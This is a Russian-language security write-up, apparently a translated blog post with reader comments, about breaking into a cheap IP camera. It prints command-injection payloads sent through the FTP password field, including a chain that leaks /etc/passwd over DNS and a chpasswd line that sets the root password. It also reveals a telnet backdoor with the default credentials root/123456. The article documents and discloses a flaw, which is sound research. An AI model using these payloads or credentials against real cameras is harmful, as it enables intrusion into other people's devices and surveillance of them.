Время пришло. Я купил себе второе IoT устройство в виде дешевой ip-камеры. Мои ожидания относящиеся к безопасности этой камеры были не высоки, это была самая дешевая камера из всех. Но она смогла меня удивить.


Я открыл коробку, и первое что увидел — это пароль из 4 цифр. Это пароль пользователя «Администратор», для настройки устройства. Смотрите видео ниже. Большинство людей не заботятся о том, чтобы поменять этот пароль.

Очевидно, что эта камера может общаться по Ethernet кабелю или Wi-Fi. Порадовала поддержка WPA2, однако люди склонны оставить Wi-Fi незащищённым.

Перехватив трафик между камерой и десктопным приложением, легко заметить что данные передаются по HTTP через 81 порт. Просто гениальное управление сеансом. Имя пользователя и пароль передаются в каждом GET запросе, без шифрования. Хоть Wi-Fi был защищён.

К счастью десктопное приложение сохраняет для вас пароль в открытом виде в файле:

"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"

Эта замечательная камера обращается к облаку по UDP. Серверы находятся в Гонконге и Китае. Если вам инетересно, зачем ip-камере подключение к облаку, то всё просто. Эта камера умеет взаимодействовать с мобильными приложениями для Android и IOS. И пользователи подключаются к облаку, чтобы не заморачиваться с настройкой портов и DNS. Супер.

Натравим nmap на это устройство.

PORT     STATE SERVICE    VERSION
23/tcp   open  telnet     BusyBox telnetd
81/tcp   open  http       GoAhead-Webs httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized
|_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open  tcpwrapped

Определился HTTP сервер, Telnet сервер на BusyBox, и какой-то порт 8600. В 27-страничном руководстве не говорится ни слова про Telnet. Как нам назвать этот порт? Отладочный порт? Или бекдор порт? Посмотрим. Я вручную попробовал несколько паролей для пользователя root, но ни один из них не сработал. Я двинулся дальше.

Двойная Слепая инъекция


IP-камера может загружать снимки на FTP сервер. Однако эта опция требует предварительной настройки. Когда я её настроил, оказалось что это не работает. Имя пользователя и пароль от сервера были не верными. После некоторой отладки выяснилось, проблема была в том, что у меня пароль содержал символ $. И я начал копать. Я был уверен, что эта уязвимость позволяет вставлять команды, но не знал как её использовать. Были многочисленные проблемы, усложняющие эксплуатацию. Я называю эту уязвимость двойной слепой инъекцией. Во первых мы не видим вывод этой команды, а во вторых, ёё выполнение происходит в другом потоке. Таким образом использование sleep ни к чему не приводит.

Но третья проблема была хуже всех — это ограничение в 32 символа. Я мог отправить некоторую информацию через DNS. И с помощью следующих команд, я мог получить текущий каталог:

$(ping%20-c%202%20%60pwd%60)

Или та же команда в читаемом виде:

$(ping -c 2 `pwd`)

но мне не удавалось вытащить информацию из /etc/passwd. Я попытался выполнить $(reboot), но это была очень плохая идея, и камера ушла в бесконечный ребут, а кнопки аппаратного сброса не работали. Весёлые времена.

Ниже представлены мои отчаянные попытки получить доступ к оболочке. Спасибо EQ за его помощь в процессе ночного взлома. И за его великие идеи.

$(cp /etc/passwd /tmp/a)       ;copy /etc/passwd to a file which has a shorter name
$(cat /tmp/a|head -1>/tmp/b)   ;filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters
$(ping `cat /tmp/c`)           ;leak it via DNS

После того, как я наконец взломал камеру, возникла следующая проблема. Там не было команд head, tr, less, more или cut. Небыло nc и даже bash`а не было…

Я даже пытался использовать commix, из видео на Youtube он подавал большие надежды. Commix похож на sqlmap но только для инъекций команд. Однако этот случай, для него был слишком сложен.



После многочисленных неудачных попыток, я наконец-то нашёл пароль. Сезам откройся.

$(echo 'root:passwd'|chpasswd)

Логинимся через telnet

(none) login: root
Password:

BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#

Вау Вау :) Я быстро нашёл место, куда инъектилась моя команда:

# cat /tmp/ftpupdate.sh
/system/system/bin/ftp -n<<!
open ftp.site.com 21
user ftpuser $(echo 'root:passwd'|chpasswd)
binary
mkdir  PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg
close
bye

Всякий раз когда мы вводим команду в поле пароля, она копируется в этот скрипт, который затем исполняется. После этого я испугался, что забыл сохранить содержимое /etc/passwd, так как собирался взломать ещё и дефолтный пароль на telnet. К счастью, ребут восстановил исходные данные.

root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

К сожалению запускать старый добрый John The Ripper не пришлось, так как гугл подсказал что это хеш пароля 123456. Это куда безопасней чем пароль багажа.



Пора резюмировать то, что у нас есть. Существует недокументированный telnet'овский порт IP-камеры, с паролем: 123456 для пользователя root, нет GUI, чтобы изменить этот пароль, а если изменить его с помощью консоли, он вернётся после следующей перезагрузки. Я думаю, что это смело можно назвать бэкдором.

С помощью root доступа к консоли мы можем получить пароль для FTP-сервера, для сервера SMTP (для оповещений), пароль WiFi (хотя мы, вероятно, его уже имеем), доступ к административному интерфейсу камеры, или просто можем перенастроить камеру как мы хотим. К счастью, чаще всего этот порт Telnet находится за NAT или брандмауэром, поэтому он не доступен из интернета. Но всегда есть исключения. К счастью, UPNP не позволяет настроить порт Telnet, чтобы он был доступен из Интернета, только камера HTTP порт 81. Вас защищает только тот пароль из 4 цифр, что стоит по умолчанию.

И последнее, всё работает от root`а, что не удивительно.

Мой список изменений


Я добавил эти строки в конец файла /system/init/ipcam.sh:

sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd

Кроме того, если вы хотите, вы можете отключить службу телнет закомментировав Telnetd в /system/init/ipcam.sh.

Если хотите, отключите подключение к облаку (вы не сможете использовать мобильные приложения), поместите следующую команду в начало файла /system/init/ipcam.sh

iptables -A OUTPUT -p udp ! --dport 53 -j DROP

Вы можете использовать OpenVPN для подключения к домашней сети, чтобы получить доступ к веб-интерфейсу камеры. Он работает с Android, IOS, и любой десктопной ОС.

99% людей, которые покупают эти IP-камеры думают, что они будут в безопасности с ней. Теперь я понимаю, наклейку, которая поставляется вместе с IP-камерой.



Так что, когда Вы в следующем эпизоде ??Mr Robot увидите как кто-то подключился к ip-камере через Telnet с root:123456, вы будете знать, что это печальная реальность.
Поделиться с друзьями
-->

Комментарии (56)


  1. 8ajarz
    28.11.2016 17:14
    +16

    «Если у вас паранойя, это еще не значит, что за вами не следят!» (с)


    1. perfect_genius
      28.11.2016 19:57
      -8

      *если нет паранойи


      1. deus
        28.11.2016 21:10
        +4

        нет, таки у автора правильная цитата


        1. perfect_genius
          28.11.2016 21:44
          -7

          Гугл:

          если у вас паранойя
          Результат: 561 000)
          если у вас паранойя это не значит
          Результат: 373 000
          если у вас нет паранойи
          Результат: 1 490 000


          1. Pakos
            29.11.2016 10:47

            Есть — 77к+111к результатов, нет — 99к результатов. Искать полную цитату.


            1. perfect_genius
              29.11.2016 11:05
              -6

              Давайте тогда логично.
              «Если у вас ощущение, что за вами следят, это еще не значит, что за вами не следят». Не странновато ли звучит?


              1. Nirvano
                29.11.2016 11:24
                +2

                — «У тебя паранойя, за тобой никто не следит»
                — «Если у меня паранойя, это еще не значит, что за мной не следят!» (с)


              1. varnav
                29.11.2016 11:26
                +2

                не так.

                «Если у вас ложное ощущение что за вами следят, это ещё не означает что за вами и вправду не следят».


              1. deaddolfin
                29.11.2016 13:01
                +1

                не точное значение паранои
                точнее будет «не обоснованное ощущение, что за вами следят»
                тогда получается:
                Если тебя считают психом с манией преследования (с параноей), это не значит что за тобой не следят


              1. Kroid
                29.11.2016 16:22
                +1

                «Если у вас ощущение, что за вами следят, это еще не значит, что за вами не следят». Не странновато ли звучит?
                Вы просто культурный контекст фразы не учли.

                Есть люди, сильно переживающие за свою анонимность. Есть окружающие их обычные люди, которые думают что-то вроде «Да ты просто параноик. Зачем большому брату / правительству / злобным хакерам следить за обычными людьми?» И уже в ответ на это родилась шутка «если ты параноик, то это не значит, что за тобой не следят».


              1. FiLinX
                29.11.2016 16:50

                Я не был параноиком, пока все не сговорились. 8)


            1. perfect_genius
              29.11.2016 17:00

              Если искать по полной фразе, то оба варианта близки, потому что в результатах поиска положительного варианта всё равно много отрицательных вариантов.
              А в Яндексе отрицательный вариант больше на 120 тысяч.

              Похоже, эта та фраза, по поводу которой спорить бесполезно, т.к. каждая применяется в своём контексте. Такое мне ещё не встречалось =)


  1. Dreyk
    28.11.2016 17:54
    +20

    Я думаю, что это безопасно, чтобы сказать, что это бэкдор

    думаю, этого достаточно, чтобы считать этот перевод надмозговым машинным =)


  1. mickvav
    28.11.2016 18:37

    Эмм, а как зовут нашего героя?


    1. areht
      28.11.2016 20:00

      Поиск по картинкам подсказывает, что Eminent eCamView IP Camera

      PS. Впрочем, это не единственная китайская камера с телнетом и паролем.


      1. rPman
        29.11.2016 14:15

        100 евро это ДЕШЕВАЯ? кошмар
        я недавно приобрел tplink nc220 с ночной съемкой за 3999р. (из них примерно 500р доставка в мой регион), правда качество не фонтан, но даже есть H264 в добавление к mjpeg (предыдущая самая дешевая моя wifi камера стоила чуть меньше 3т.р. но без ir и поддержка была только mjpeg)

        Камера поддерживает только режим просмотра через мобильное приложение но спасибо добрым людям распотрошили https://github.com/reald/nc220
        p.s.

        ffplay rtmp://192.168.1.49:1935/stream/video/h264
        video and audio stream
        Works without authentication! (WTF?)


    1. justK
      28.11.2016 20:10

      Ну если на КДПВ герой обзора, то это Eminent EM6225 e-CamView Pan/Tilt HD IP Camera, судя по поиску гугла по картинкам.
      Беглый взгляд на видео с анбоксингом подтверждает что да, это он. По крайней мере вкладыш в коробке с EM6225 соответствует последней картинке.


  1. erlyvideo
    28.11.2016 19:11
    +2

    к слову сказать: китайцы при обсуждении с ними прошивки запрещают менять рутовый пароль.


    1. Londoner
      28.11.2016 20:33
      +2

      А чем они это мотивируют?


      1. erlyvideo
        28.11.2016 22:25
        +1

        мотивация очень простая: любая модификация должна пройти через цикл тестирования.

        Цикл тестирования у китайцев очень сильно отличается от советской космической приемки и не в лучшую сторону, плюс он скрыт у других китайцев, которые им не делятся с первыми китайцами.

        В итоге непонятно как делить ответственность сторон за такие модификации.


  1. FreeManOfPeace
    28.11.2016 20:10
    +5

    У меня тут ещё похлеще, роутер ZXV10 H208L, выдан белтелекомом бесплатно в пользование.
    Так вот, там есть интерфейс по HTTP/HTTPS (который что характерно корректно отображается только в Internet Explorer), документированный с ним всё нормально.
    А есть telnet, на стандартном порте (23) и на нём стоит пароль который не меняется никак (root/root), то есть любой кто подключен к Wi-Fi сети может подключиться к роутеру и что нибудь натворить (для этого даже старого Java-фона с Wi-Fi хватит, даже там есть адекватные telnet клиенты, уж не говоря про обычный комп или ноутбук).

    Спойлер
    image


    1. random1st
      29.11.2016 12:06
      +1

      https://geektimes.ru/post/180031/
      https://habrahabr.ru/post/275819/


      1. FreeManOfPeace
        29.11.2016 17:03

        Спасибо, теперь буду знать как менять пароль telnet если понадобится, но это врядли, сеть скрытая и пароль на Wi-Fi (WPA2-PSK) достаточно надёжен я думаю.


    1. OlegAndr
      01.12.2016 14:51

      Мысль интересная. Значит ли это что если мне какой-нибудь МГТС ставит роутер к которому у меня нет низкого доступа, что он у меня на самом деле есть?


      1. GH0st3rs
        01.12.2016 17:29
        +1

        Это значит только то, что у МГТС к твоему роутеру есть полный доступ


  1. Psychosynthesis
    28.11.2016 21:18
    +1

    Хорошая, годная статья. Не очень понял как он достучался до камеры после того как она «ушла в бесконечный ребут», но спишем это на мои невысокие знания юникс-лайк систем.

    Было бы круто, если бы кто-нибудь собрал все найденные камеры с подобными бэкдорами в один пост.


    1. Evengard
      28.11.2016 21:48
      +2

      Такие системы обычно «фиксятся» вырубанием полностью питания и подачей обратно. Такой хард-ресет.


    1. hacklex
      29.11.2016 06:19
      +7

      Было бы ещё круче, если бы этот кто-нибудь, подумав, всё-таки не постил этот большой пост.


    1. alex_kott
      29.11.2016 09:12
      +1

      Было бы круто, если бы кто-нибудь собрал все найденные камеры с подобными бэкдорами в один пост.


      Боюсь, что это невозможно, ибо тысячи их!


      1. maxwolf
        01.12.2016 02:19

        У меня даже начало появляться ощущение, что _все_ китайские железячники участвуют в чём-то вроде СОРМа, т.е. им сверху вменили в обязанность ставить закладки во все устройства… В последнее время не встречал ни одного обзора раздербаненной прошивки, где бы бэкдора не нашли :(


    1. hdfan2
      29.11.2016 09:33
      +2

      Наверно, проще будет составить список, где их нет.


      1. Psychosynthesis
        30.11.2016 02:58

        Тоже полезно.


  1. bolk
    29.11.2016 07:41
    +4

    У вас там ограничение по длине строки, а вы символы щедрою рукою на антипаттерн «бесполезная кошка» расходуете:


    $(cat /tmp/a|head -1>/tmp/b) #filter for the first row
    $(cat</tmp/b|tr -d ' '>/tmp/c) #filter out unwanted characters

    Так правильно:


    $(head -1 /tmp/a>/tmp/b) #filter for the first row
    $(tr -d ' '</tmp/b>/tmp/c) #filter out unwanted characters


    1. Nilis
      29.11.2016 14:09
      -1

      > После того, как я наконец взломал камеру, возникла следующая проблема. Там не было команд head, tr, less, more или cut.


      1. bolk
        29.11.2016 14:14
        +2

        Вы почему-то не обратили на это внимание, но я упрощаю команды, взятые из статьи, а не свои придумываю. И после упрощения команд в строке становится меньше, а не больше.


    1. alex_shkut
      29.11.2016 16:52
      -1

      Там не было команд head, tr, less, more или cut. Небыло nc и даже bash`а не было…

      из статьи…


      1. bolk
        29.11.2016 16:55
        +2

        Вопросы к согласованности статьи — к автору статьи.


  1. maroon775
    29.11.2016 10:33

    Спасибо


  1. TimsTims
    29.11.2016 14:08
    +1

    Ждём очередную новость об очередном гигантском DDoS'е через IoT…


  1. ISVLabs
    29.11.2016 16:52

    хорошая статья, заставила задуматься лишний раз. паранойей не страдаю, ибо всё за NAT. но тут ip-камера с али пришла и скоро будет в домашней сети. надо тоже пробежаться по ней внимательнее…


    1. SuperZveruga
      29.11.2016 21:13

      Вы за NAT, но взломы обычно идут изнутри, с вашего заражённого компьютера.


      1. Vespertilio
        30.11.2016 09:18

        Судя по бесконечным логам моего роутера, ломают таки из внешки. Я конечно не исключаю и троянчики изнутри сети, мне пока такие не попадались.


      1. ISVLabs
        30.11.2016 12:38

        ну, за это я спокоен. не хочу заниматься шапкозакидательством, но за почти 30 лет сидения за компом заражался раза 3, и то не критично. при этом, резидентные антивирусы на дух не переношу и никогда не ставил. личная дисциплина решает. плюс правило Неуловимого Джо :)))
        а снаружи всё просто — попытка сунуться в 22/23 порт заносит ip в бан на 10 минут. Микротик рулит :)


  1. galliard
    29.11.2016 16:52
    +1

    Я вручную попробовал несколько паролей для пользователя root, но ни один из них не сработал

    гугл подсказал что это хеш пароля 123456


    По моему при ручном переборе паролей этот стоило пробовать в первую очередь.


  1. SchmeL
    29.11.2016 17:53

    А как работают p2p камеры, для доступа к которым нужно сканировать qr код и ввести логин и пароль к камере — тоже через облако?
    Просто есть у меня одна такая камера, скачал первое попавшееся приложение в маркете и она заработала…


    1. Vengant
      29.11.2016 17:57

      Разумеется.


  1. Vengant
    29.11.2016 17:57

    Не вижу особого практического смысла в таком бэкдоре. Доступ к камере из интернета чаще всего отсутствует, потому что мало кто вешает их на белые IP, а адекватные люди вообще убирают такие девайсы в изолированную сеть, где они общаются исключительно с сервером видеорегистрации.


    1. SuperZveruga
      29.11.2016 21:28

      Значит такая камера не подойдёт обычному пользователю без выделенного сервера.


    1. erlyvideo
      29.11.2016 23:04
      +1

      в последних ддосах участвовали миллионы IP камер, выставленных в интернет.


      1. dkv
        30.11.2016 15:55

        Ок, возьмём к примеру линейку китайских копеечных камер Sricam. У них выпилено всё, что можно, включая telnet, ftp, вебморду и Onvif обрезан по самую авторизацию. Соответственно даже RTSP светить в здравом уме во вне не рекомендуется, учитывая, что камера покажет видео любому желающему без пароля. В итоге стоят себе камерки и общаются с китайским облачком по своему протоколу поверх UDP, радуя пользователей мобильных приложений простотой своей настройки и эксплуатации. Ну разве что могут ещё картиночку на мыло скинуть иногда, почуяв движение в кадре. Если исключить вшитые самими китайцами бекдоры в свой UDP-протокол, какова вероятность того, что и эту камеру по команде направят ддосить жертву атаки?.


        1. erlyvideo
          30.11.2016 16:02

          Ооо! Китайцы, UDP, видео.

          Подключаемся к камере и говорим ей, что мы с вооот того IP адреса и надо слать видео туда.


          1. dkv
            30.11.2016 16:35

            Короче, и тут всё плохо. Возможно ли накатить на эту сри-камеру Flussonic Agent? Забирает ли он поток с камеры по RTSP или ему нужны иные механизмы взаимодействия?


            1. erlyvideo
              30.11.2016 17:50

              для этого нужно:

              1) наличие на камере RTSP сервера
              2) наличие на камере линукса (почти всегда)
              3) наличие прошивки от камеры
              4) некоторый элемент везения, что бы камера не была жестоко отгорожена


              1. dkv
                30.11.2016 18:59

                Отлично, жду статью на эту тему.
                А в случае sricam и прочих клонов с прошивкой от gwell:
                1) Присутствует.
                2) Присутствует.
                3) Обновления прошивки представляют из себя заголовок в 32 байта и jffs2 раздел с бинарниками, скриптами и ресурсами, в который доложить от себя можно что угодно. Все поля заголовка известны, загвоздка лишь в алгоритме подсчёта контрольной суммы, но и это решаемо за пару часов при необходимости.
                4) См. пункт 3 ибо иных способов залить файлы в камеру не наблюдается.


                1. erlyvideo
                  01.12.2016 00:29

                  мы встречались с ситуацией, когда камера через веб-интерфейс проверяет чуть ли не RSA подпись, а через tftp готова лить что угодно.

                  Короче, напишем =)


  1. OlegAndr
    01.12.2016 14:54

    Купил также IP камеру.
    Запретил на роутере весь трафик от неё наружу, потому что какие-то DNS на 8.8.8.8, UPD и прочия, прочия,